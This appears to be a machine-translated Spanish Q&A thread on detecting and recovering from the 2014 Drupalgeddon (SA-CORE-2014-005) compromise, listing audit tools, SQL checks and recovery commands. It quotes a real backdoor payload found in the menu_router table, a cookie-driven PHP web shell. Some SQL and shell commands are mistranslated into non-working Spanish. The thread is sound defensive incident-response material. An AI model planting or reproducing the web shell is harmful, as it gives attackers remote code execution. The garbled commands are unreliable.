Drupal SA-CORE-2014-005 - ¿Cómo saber si mi servidor / sitios se vieron comprometidos?

Acabo de actualizar todos mis sitios utilizando el método de parche para resolver el exploit Drupal SA-CORE-2014-005. Acabo de leer informes de que ayer había alguien de una IP rusa que se infiltraba en los sitios de drupal.

https://www.drupal.org/SA-CORE-2014-005

Mis principales preocupaciones son ahora:

• ¿Cómo puedo saber si mis sitios han sido incluidos?
• ¿Qué debo buscar en mis registros de acceso de apache para detectar si mi sitio fue víctima o no?
• Hasta ahora, ¿qué están haciendo estos piratas informáticos en sitios compuestos?

Aquí hay algunas consultas SQL que se pueden ejecutar en las bases de datos de su sitio para verificar si hay usuarios con privilegios de administrador y cuáles han accedido al sitio después del 15 de octubre.

http://www.drupalden.co.uk/sql-queries-find-users-roles-admin-privileges-drupalgeddon-drupal-sa-core-2014-005

Si está leyendo este artículo y espera consultar un sitio de Drupal 7 más de un mes después de que se produjera el exploit, es muy probable que su sitio ya haya sido pirateado . Su mejor opción es restaurar una copia de seguridad desde antes de que comenzaran los ataques y trabajar desde allí.

Hay preguntas frecuentes sobre SA-CORE-2014-005 .

¿Cómo puedo saber si mis sitios han sido comprometidos?

Una forma de verificar rápidamente si los sitios están comprometidos es con el comando drush Drupalgeddon.

• https://www.drupal.org/project/drupalgeddon

Instalar a su ~/.drushcondrush dl drupalgeddon

Luego use drush drupalgeddon-testpara probar. Los alias drush hacen que esto sea fácil y rápido.

Esta herramienta puede confirmar un sitio explotado, pero no puede garantizar que su sitio no haya sido explotado. Aquí no hay una "declaración de salud limpia" a menos que haya actualizado antes de que comenzaran los ataques.

El módulo de Auditoría del sitio incluye algunas de las comprobaciones de Drupalgeddon, y también le brinda una información mucho más útil. Lo recomiendo altamente. (EDITAR: ahora trabajan juntos, ¡súper agradable!)

• http://drupal.org/project/site_audit

Security Review no verifica los ataques de Drupalgeddon, pero también vale la pena tenerlo en su cinturón de herramientas.

• http://drupal.org/project/security_review

Si la base de código de su sitio se puede escribir para el usuario de www, también puede verificar el código modificado utilizando el módulo pirateado. Es posible que este módulo no haga lo que piensas solo por su nombre :)

• http://drupal.org/project/hacked

Si bien no existe una única forma segura de identificar todos los sitios comprometidos, estas herramientas pueden ayudarlo a identificar las indicaciones más comunes.

¿Qué debo buscar en mis registros de acceso de apache para detectar si mi sitio fue víctima o no?

Sus registros de acceso contendrán muchas solicitudes POST por ahora. A menos que haya dado el paso inusual de registrar todos los datos de publicación antes del error, es poco probable que tenga la información para determinar cuáles de ellos fueron maliciosos.

Hasta ahora, ¿qué están haciendo estos piratas informáticos en sitios comprometidos?

¡Muchos informan que los piratas informáticos han parcheado sus sitios! Como atacante, esto tiene sentido: no desea que el próximo atacante le quite su sitio recientemente secuestrado :)

Aparte de eso, supongo que los sitios se están utilizando para recolectar cualquier información valiosa que esté allí (tal vez obtener algunos créditos, tal vez levantar detalles de la transacción después de explotar) y hacer cosas aburridas como enviar spam y trabajar como humildes esclavos de botnet. Ah, y ampliar aún más el imperio del atacante de sitios Drupal secuestrados. (Lo siento, no tengo sitios pirateados para observar).

Algunas comprobaciones para ataques comunes son (esta no es una lista exhaustiva, pero son algunos de los ataques vistos en la naturaleza hasta ahora):

• Verifique su cuenta de usuario 1 para asegurarse de que su nombre de usuario, dirección de correo electrónico o contraseña sean los que espera que sean. Compruebe también cualquier otra cuenta de usuario que tenga altos niveles de permisos si es posible.
• Busque nuevas cuentas de usuario que parezcan sospechosas.
• Verifique los cambios en los roles en su sistema, por ejemplo, nuevos roles o roles renombrados.
• Verifique los cambios de permisos. El aspecto más importante de esto es asegurarse de que la función de usuario anónimo (u otras funciones que cualquiera pueda suscribirse para obtener) no se haya cambiado para darles un mayor acceso.
• Busque nuevos bloques personalizados que puedan contener código malicioso.
• Busque nuevos nodos personalizados que puedan contener código malicioso.
• Verifique si hay archivos en su sistema de archivos que no deberían estar allí. Esto es fácil si usa el control de versiones porque puede hacer git status o svn st para ver si hay archivos nuevos allí.
• Si han subido archivos maliciosos, puede verificar sus registros de acceso para ver si hay aciertos en nombres de archivos extraños con los que no está familiarizado.

• Consulte la tabla de la base de datos del enrutador de menú para ver si hay entradas maliciosas. Por ejemplo (el módulo drupalgeddon / plugin drush en drupal.org tiene un buen script para verificar esta tabla más a fondo):

  SELECCIONAR * DESDE menu_router DONDE access_callback = 'file_put_contents';

• También puede navegar por la tabla del enrutador del menú para ver entradas de aspecto extraño.

Algunas cosas que los hackers están tratando de hacer son:

• Coloque archivos de script php en su sitio que luego puedan ejecutar presionándolos en un navegador. Estas secuencias de comandos pueden hacer una amplia gama de cosas maliciosas. Esto se logra mediante la adición de entradas de enrutador de menú malicioso.
• Cree cuentas de usuarios administradores para que luego puedan usar para hacer cosas malas en su sitio o hacerse cargo de su sitio.
• Cambie la dirección de correo electrónico del usuario 1 para que pueda restablecer la contraseña de esa cuenta y hacerse cargo.
• Cambie los permisos en los roles de usuario de acceso público.
• Añadir bloques / nodos / etc. que puede contener código malicioso Si tiene habilitado el filtro PHP, esto es un problema aún mayor.

Desafortunadamente, hay tantas cosas que un atacante podría hacer en su base de datos que es bastante difícil dar una lista completa de posibilidades. Podrían hacer cosas que intenten hacer que controlen su sitio, o simplemente podrían romper su sitio pero soltar tablas o columnas de la base de datos, etc.

Incluso podrían hacer cambios muy pequeños en la configuración del sitio, como cambiar el nombre de su sitio o algo así, que no es el fin del mundo, pero sigue siendo problemático.

Básicamente, cualquier cosa que pueda hacer en su base de datos ejecutando un comando SQL, un atacante podría hacer teóricamente.

Todos los módulos mencionados en la respuesta de Chris Burgess son muy útiles para verificar estas cosas.

Creo que seguiría el consejo de drupal.org " Debería proceder bajo el supuesto de que cada sitio web de Drupal 7 se vio comprometido a menos que se actualice o parchee antes del 15 de octubre a las 11 p.m. UTC, es decir, 7 horas después del anuncio ". Como dijo Bevan en este comentario "Actualizar o parchar Drupal no repara las puertas traseras que los atacantes instalaron antes de actualizar o parchar Drupal".

Bevan también realizó el siguiente diagrama de flujo de trabajo para ayudarlo a analizar si podría haberse infectado y cómo recuperarse y prevenirlo . Sin embargo, les pide a todos que vayan a su artículo original para asegurarse de que tengan la última versión del flujo de trabajo. Además, Acquia hace un artículo interesante sobre los ataques y patrones que han experimentado en Acquia Cloud

Cita de: https://www.drupal.org/node/2357241#comment-9258955

Este es un ejemplo del archivo que se inserta en la columna menu_router table access_callback:

a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

Como puede ver, está tratando de crear los módulos de archivo / image / vzoh.php, pero dado que solo he leído los permisos dentro de esos directorios, php falla.

Informes de personas que encuentran archivos similares creados haciendo una búsqueda en su directorio de drupal: https://www.drupal.org/node/2357241#comment-9260017

Lo que hice fue hacer el siguiente comando:

ack --type = php 'php \ $ form'> hacked_searched_php_form1.txt

==================

Citado de: http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Mostrar archivos que han cambiado en el servidor en vivo: estado de git

Buscando intentos de ejecución de código a través de menu_router: seleccione * desde menu_router donde access_callback = 'file_put_contents'

Mostrar qué archivos están en el servidor en vivo y no en el control de versiones: diff -r docroot repo | grep docroot | grep 'Solo en docroot'

Encontrar archivos PHP en el directorio de archivos: buscar. -path "* php"

Comprobando la cantidad de tiempo entre el momento en que un usuario inició sesión en su sitio y su visita más reciente a la página: seleccione (s.timestamp - u.login) / 60/60/24 AS days_since_login, u.uid de las sesiones s internal join users u on s.uid = u.uid;

Una muy buena lista de comandos para saber si ha sido comprimido.

http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Commands that help with auditing:

Showing files that have changed on the live server:

?
1
git status 
Looking for code execution attempts via menu_router:

?
1
select * from menu_router where access_callback = 'file_put_contents'
Another possible code execution attempt via menu_router:

?
1
select * from menu_router where access_callback = 'assert';
Showing which files are on the live server and not in version control:

?
1
diff -r docroot repo | grep 'Only in docroot'
Looking for PHP files in the files directory:

?
1
find . -path "*php"
Looking for additional roles and users:

?
1
2
select * from role
select * from users_roles where rid=123
Checking the amount of time between when a user logged into your site and their most recent page visit:

?
1
select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;


Commands that can help with recovery:

Apply the patch. Hotfix: (SA-CORE-2014-005)

?
1
curl https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch | patch -p1
End active sessions, i.e log everyone out.

?
1
truncate table sessions;
Updating passwords:

?
1
update users set pass = concat('XYZ', sha(concat(pass, md5(rand()))));

Puede verificar si su sitio web ha sido pirateado con esta herramienta en línea:

Drupal Check: El EngineHack

Obviamente tiene sus limitaciones, pero es un buen punto de partida.